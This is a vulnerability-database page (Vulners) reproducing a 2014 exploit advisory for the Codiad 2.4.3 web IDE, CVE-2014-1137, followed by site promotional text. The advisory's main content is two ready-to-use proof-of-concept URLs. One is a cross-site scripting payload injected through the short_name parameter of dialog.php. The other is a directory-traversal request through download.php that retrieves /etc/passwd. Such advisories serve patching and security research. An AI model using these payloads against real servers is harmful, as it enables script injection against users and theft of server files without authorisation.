Vulners
Lucene search
Codiad 2.4.3 Cross Site Scripting / Local File Inclusion Vulnerabilities
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | GQ File Manager 0.2.5 Sql Injection / Cross Site Scripting Vulnerabilities | 20 Dec 201400:00 | – | zdt |
 | CVE-2014-1137 | 10 Jan 201500:00 | – | cve |
 | CVE-2014-1137 | 10 Jan 201500:00 | – | cvelist |
 | GQ File Manager 0.2.5 - Multiple Vulnerabilities | 19 Dec 201400:00 | – | exploitdb |
| Codiad 2.4.3 - Multiple Vulnerabilities | 19 Dec 201400:00 | – | exploitdb |
 | Codiad 2.4.3 - Multiple Vulnerabilities | 19 Dec 201400:00 | – | exploitpack |
| GQ File Manager 0.2.5 - Multiple Vulnerabilities | 19 Dec 201400:00 | – | exploitpack |
 | CVE-2014-1137 | 10 Jan 201500:59 | – | nvd |
 | GQ File Manager 0.2.5 Cross Site Scripting / SQL Injection | 20 Dec 201400:00 | – | packetstorm |
| Codiad 2.4.3 Cross Site Scripting / Local File Inclusion | 20 Dec 201400:00 | – | packetstorm |
10
# Exploit Title: Codiad - Cross Site Scripting - Local File Inclusion Vulnerability's
# Date: 19/12/2014
# Url Vendor: http://codiad.com/
# Vendor Name: Codiad
# Version: 2.4.3
# CVE: CVE-2014-1137
# Author: TaurusOmar
# Tiwtter: @TaurusOmar_
# Email: [email protected]
# Home: overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High
Description
Codiad is a web-based IDE framework with a small footprint and minimal requirements.
Codiad was built with simplicity in mind, allowing for fast, interactive development without the massive overhead of some of the larger desktop editors. That being said even users of IDE's such as Eclipse, NetBeans and Aptana are finding Codiad's simplicity to be a huge benefit. While simplicity was key, we didn't skimp on features and have a team of dedicated developer actively adding more.
------------------------
+ CROSS SITE SCRIPTING +
------------------------
#Exploiting Description - Get into code xss in next path
/components/filemanager/dialog.php?action=rename&path=3&short_name=
#P0c
http://site.com/components/filemanager/dialog.php?action=rename&path=3&short_name='"><img src=x onerror=prompt(1);>
#Proof Concept
http://i.imgur.com/rr9b42K.jpg
------------------------
+ Local File Incluson +
------------------------
# Exploiting Description - Get into path in ur' browser and download private file server /etc/passwd
#P0c
http://site.com/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined
#Proof Concept
http://i.imgur.com/LSm360S.jpg
# 0day.today [2018-01-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Dec 2014 00:00Current
0.1Low risk
Vulners AI Score0.1